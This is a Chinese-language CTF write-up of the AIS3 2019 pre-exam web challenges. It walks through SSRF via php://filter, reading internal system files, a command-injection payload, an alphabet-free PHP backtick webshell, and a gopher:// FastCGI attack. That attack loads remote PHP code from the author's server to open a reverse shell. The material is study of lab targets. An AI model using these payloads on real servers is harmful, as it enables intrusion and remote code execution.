AIS3 2019 Pre-exam Web Write-up

最近 AIS3 2019 的課程正在進行中,於是想起堆在電腦中的 pre-exam 截圖還沒寫成 write-up,趕緊來寫篇文章。個人覺得今年度的 web 題目很優質,沒有太多通靈成分而且還帶到了許多實用知識,然而我其實沒有報名今年度的 AIS3,純粹是因為好奇而偷要到了題目玩玩看 XD

首先附上官方出題者的解答:

這些解答在 pre-exam 結束後沒多久就公佈了,相信大家應該都已經看完,但我這邊還是再附上一次。

Simple Window

開啟首頁馬上就看到一個類似 Virtual Terminal 的畫面,不過這是假的。
10100_01

view-source 一下就能發現 flag 的頁面在 http://ip/flag,但是直連該頁面會只看到訊息說「I catch it!」
10100_02

原理其實很單純,瀏覽器支援了一種名為 Service Worker 的功能,常見用途之一是讓你可以在前端自訂快取的行為,當網頁渲染需要載入一些資源 (例如:圖片、CSS 等) 時,可以透過註冊 Service Worker 的功能,阻止瀏覽器發出請求,並由你在前端撰寫的 JavaScript 來控制去哪裡載入這些資源。

所以這道題目就是註冊了 Service Worker 來阻止你瀏覽 /flag 頁面,這點可以從 view-source 看見相關的程式碼,現在的話也能到出題者的 SimpleWindow - GitHub 上看看程式碼是如何撰寫的。

解法是只要避免經過瀏覽器快取機制而直接向目標伺服器請求該頁面,譬如直接 view-source:http://ip/flag 或是在 Linux 上使用 curl 指令 curl -v http://ip/flag 就能獲得 flag。
10100_03

Hidden

點開這道題目的網頁,畫面呈現非常空虛,只有一串文字「Hidden」,HTML 中也沒有其他元素,但是該網頁有引入了一個 JavaScript 檔案:/main.019417bd.js
10101_01

從這個 JavaScript 檔案可以看出網頁是使用 Vue.js 前端框架撰寫,看到程式碼就會手癢想先搜尋「flag」,發現有個 "./flag.js": "nHHx",這是前端打包工具很常見的特徵,因為前端框架都採用了模組化方式進行開發,但是瀏覽器多半不支援這些模組化方式的程式碼,所以會再透過打包工具將這些框架程式碼轉換為瀏覽器能接受的 JavaScript,而 "./flag.js": "nHHx" 就是其中一個模組。
10101_02

將上述的 nHHx 繼續搜尋就能找到模組原始的定義位置,從程式碼可以看到該模組 export 了一個 function r()
10101_03

總而言之把 function r() 直接丟 Console 跑跑看,就能順利拿到 flag。
10101_04

tokeeeeen

首頁有一個輸入框可以輸入 token。
10102_01

按下 submit 按鈕後會發出一個 AJAX 去位置 /flag?token=aa 請求 flag,但會顯示一些像「No, please.」可能代表 token 錯誤的訊息。推測這道題目也許是要你找出正確的 token 拿 flag?
10102_02

先別著急著瞎猜,讓我們再嘗試收集一些資訊,並很快就能發現伺服器上還有一個檔案 package.json,這是 Node.js 套件管理工具 npm 所使用來描述一些資訊的檔案。
10102_03

再試著存取 package.json 中所描述到的 server.js,發現也能看見完整的原始碼。
10102_04

從原始碼中可以發現對 token 的檢查有三個條件:

  • !token: token 參數要存在,不能為空、null 或 undefined
  • token.length > 32: token 字串長度要大於 32
  • 0 < token.length < 16: 這個是 .. 字串長度介於 0~16 .. 嗎?

看起來似乎第二點和第三點自相矛盾,但其實是個障眼法,在 JavaScript 並沒有像數學式般 a < b < c 這樣的使用方式,< 只能一次對兩者做比較,所以第三點在 JavaScript 眼裡是 (0 < token.length) < 16,在這邊的情境下將會永遠為 true,因為 (0 < token.length) 必定會得到一個 true 的 Boolean 值,而 true < 16 經過轉型處理後再判斷也必然為 true。

那這道題目該何解?讓我們再回顧一下程式碼,如果夠細心應該能立刻發現只有傳送 flag 的程式碼 res.send(FLAG) 是被放置在 try catch 敘述句外的,而 catch 敘述句只捕捉了 TokenError 的錯誤,表示若我們能讓 JavaScript 噴出 TokenError 以外的 exception,就能抵達 res.send(FLAG) 的程式碼。

要讓 JavaScript 程式出現錯誤,第一個直覺會聯想到 Type Confusion,因為它是動態型別的語言,可以讓同一個變數偶而是 string 偶而又是 object,這道題目裡又沒有任何的型別檢查,所以其實我們可以透過 ?token[a]=1 的方式讓 token 變數成為 object 型別。但這並不至於讓程式噴 exception,因為目前程式中的所有操作在 object 型別上都是合法的,譬如 token.length 也只是回傳 undefined 再去隱性轉型作數字比較。

這就要談及 JavaScript 的一個 magic method: toString,當你嘗試對一個 object 進行數值 (隱性型別轉換) 或字串操作時,JavaScript 會呼叫 object.toString() 來把物件轉換成字串,我們也能透過 override 這個函式來自定義如何轉換成字串的行為。

譬如以下程式碼:

var a = {
    toString: function() {
        return 'Hello, world!';
    }
};
console.log('Result: ' + a);

會得到以下輸出:

Result: Hello, world!

那如果我們將 toString override 成 function 以外的東西:

var a = {
    toString: 123
};
console.log('Result: ' + a);

就會發現神奇的結果:

Uncaught TypeError: Cannot convert object to primitive value

所以這道題目只要送 token[length][toString] 讓 length 成為 object 並 override 掉 toString,就會在第二個比較條件嘗試將 object 作轉換而呼叫到 toString 時噴出 TypeError,如此這般就能得到 flag。
10102_05

除此之外還有一個 valueOf 的 magic method,兩者關係可以去看出題者官方解法裡有更詳細的描述。

d1v1n6

題目頁面有一個超連結文字 Hint 連結到 /?path=hint.txt,熟悉的朋友很快就能聯想到這邊或許存在一個可能是 Arbitrary File Read、Local File Inclusion 或 Server-Side Request Forgery 的漏洞。
10103_01

經過黑箱觀察可以發現網頁是由 PHP 撰寫並且是個 SSRF 漏洞,但是嘗試讀 index.php 的原始碼只會出現錯誤文字訊息,讓我們試試用老招:php://filter/read=convert.base64-encode/resource=index.php,成功讀到 base64 編碼後的原始碼。
10103_02

看看原始碼,看起來是個要繞 Server-Side Request Forgery 保護去請求 127.0.0.1 的挑戰,如果成功讓 PHP 從 127.0.0.1 來源請求 http://127.0.0.1,第 6 行就會顯示 flag 的提示。
10103_03

於是只要輸入
php://filter/read=convert.base64-encode/resource=http://localhost
就過了,因為出題者不小心把 regular expression 寫壞,所以用 localhost 而不是 127.0.0.1 就能過 XD。
大家可以先試著自己找錯誤在哪,想知道錯在哪可以去看出題者官方解法的描述。
10103_04

base64 解碼後就能得知存有 flag 的文字檔位置和下一階段的提示。
10103_05

d1v1n6 d33p3r

這題是接續上一題 d1v1n6,在上一題的提示中說這題的 flag 似乎是隱藏在 internal network 中的某處。

在 Server-Side Request Forgery 的利用中,掌握內網相關資訊 (IP、Domain) 非常重要,畢竟在茫茫內網大海中撈針的效率很差。在這道題目中的 SSRF 漏洞具有讀檔的能力,所以我們通常可先嘗試讀取以下幾個 Linux 主機上的重要檔案

  • /etc/resolv.conf: 可以得知 nameserver 配置的資訊
  • /etc/hosts: 可以得知 hostname 與 ip 作 mapping 的資訊
  • /proc/net/tcp: 會列出 listen 中的 TCP 連線,有機會可以得知當前主機的 ip 資訊

這邊我是先讀取了 /proc/net/tcp 就發現有個 listen 中的 TCP 連線 IP 為 030016AC,這個字串其實是 IPv4 中 4 個區段的十進位數字轉換成 hex 的結果,只不過順序是相反的,對應方式是:

172 .  22 .   0 .   3
 AC    16    00    03

10103_06

在確定當前主機的 IP 為 172.22.0.3 後,簡單黑箱測試就可以馬上發現在隔壁的 172.22.0.2 有個奇怪的網頁服務,他接受一個參數 dir,然後會幫你印出資料夾的內容,有沒有覺得很像「ls -la」的指令結果?
10103_07

沒錯,就是一個 Command Injection,只要 ?dir=';id;echo ' 就能注入成功。
10103_08

查看 172.22.0.2 上的 index.php 原始碼,就能獲得第二把 flag。
10103_09

3v4l

題目直接給了 PHP 原始碼,但是排版非常雜亂。
10105_01

簡單手動重新排版後就能很明顯看到程式的邏輯,主要是會把傳進來的參數 $_GET['#'] 丟進 eval 執行,但是有幾個小限制:

  • 不能有英文字母 (包括大、小寫)
  • 不能超過 18 個字元

10105_02

這道題目的目標很明確,就是相當於構造一個無字母的 WebShell,這就要用到 PHP 神奇特性,利用 PHP 的 ~ NOT 運算子,我們可以做到執行 (~%8C%86%8C%8B%9A%92)() (不可視字元顯示不出來,所以習慣用 url encode 來表示) 相當於執行 system(),因為 PHP 會先把 %8C%86%8C%8B%9A%92 的字串作 ~ NOT 後再呼叫該字串代表的函式。但因為題目限制不能超過 18 個字元,雖然用 system 有機會湊出剛剛好的指令,但沒有好用的完整 shell 實在痛苦 Q_Q

PHP 是很棒的語言,不是只有 system 函式可以執行系統指令,它自帶一個反引號的運算子可以執行系統指令:

echo `id`; // 執行 id 系統指令

更棒的是這個運算子還有 double evaluation 特性,如果你給的字串中有 $ 開頭的字或 ${變數名稱} 的字樣,它會先嘗試解析找出對應的變數,再把變數的值拿來當系統指令執行。

$a = 'id';
echo `$a`; // 執行 id 系統指令

更多的範例可以參考 PHP 官方文件:
Strings #Double quoted

總之我們可以利用前述的 NOT 運算子和反引號運算子的 double evaluation 特性,構造出以下 payload:

`{${~%A0%B8%BA%AB}[0]}`;

這個 payload 執行時,PHP 會先把 %A0%B8%BA%AB 字串作 NOT 運算得到 _GET${~%A0%B8%BA%AB} 再去解析取得 $_GET 變數,之後變成像 {$_GET[0]} 取得 $_GET 陣列中 index 為 0 的值,最終把這個值當系統指令去執行。

所以只要在參數上給 ?0=id 就能輕鬆執行任何長度的系統指令並獲得 flag。
10105_03

BabySSRF

題目就說明了一切,就是打 Server-Side Request Forgery。
10106_01

可以嘗試用 dict:// 協定探測本機上其他 port 的服務,同時也能發現支援 gopher:// 協定可以發出任意 TCP 封包內容。
10106_02

經過一些黑箱觀察,發現本機的 9000 port 是開啟的狀態,而這個 port 是 PHP-FPM 的預設 port,大概可以猜測是用 gopher:// 偽造 TCP 封包發給 PHP-FPM 執行。PHP-FPM 吃的是 FastCGI 的 protocol,一般我們可以側錄自己本機的封包再來透過 gopher 重送到目標上,但在這道題目中如果網址輸入超過 236 個字元會出現錯誤訊息:「Your url is too looooong! (max length: 236)」,一般側錄下來的都會超過這個字元數,勢必要客製化 payload 來縮短長度,雖然我們可以手動構造,但是封包結構要很精確,只要一個 byte 算錯就會失敗,對於手殘的我選擇借用這個 GitHub Repository: piaca/fcgi_exp 上的 fcgiclient 來完成構造 payload 的任務。

縮減 fcgiclient 的參數,最後只剩下:

env["PHP_VALUE"] = "allow_url_include=On\nauto_prepend_file=http://ip/a"
env["REQUEST_METHOD"] = "GET"

主要是將 allow_url_include 重新設置為 on,再透過 auto_prepend_file=http://ip/a 去載入遠端的 PHP 程式碼執行。

在本地 nc 一個 port 來接收 FastCGI 的封包,再讓 fcgiclient 往這個 port 上送。
10106_03

我在自己的伺服器上準備了一個 PHP 程式碼的檔案,內容是呼叫系統指令用 perl 執行一段 Reverse Shell 回到我自己的主機。
10106_04

gopher:// 重新包裝 FastCGI 封包內容送過去,記得要多送幾次讓配置生效才能順利執行。
10106_05

沒意外就會順利拿到 Reverse Shell,接著看看根目錄的檔案列表,發現 /flag 的檔案,可是設定成只有 root 可以讀取。
10106_06

同時發現有個 setuid 的 binary 叫 /readflag 並且有給原始碼 /readflag.c,本以為可以直接執行那個 binary 拿 flag,結果居然還要輸入一個加法算式的答案,而且顯示後讓你輸入的時間極為短暫,幾乎不可能心算完手動輸入 XD
10106_07

個人學藝不精,只知道最簡單暴力的方式,用 PHP 寫了一個程式讀取 /readflag 輸出然後計算答案再輸入給它。
10106_08

執行後終於能獲得 flag。
10106_09


以上就是今年 pre-exam 的所有 web 題目了。
雖然我既不是學員也不是工人,但還是祝大家都能在今年的 AIS3 玩得愉快 XDD

Cyku

A.k.a. cy. A web dog. Interested in web security. cyku@cyku.tw

Taiwan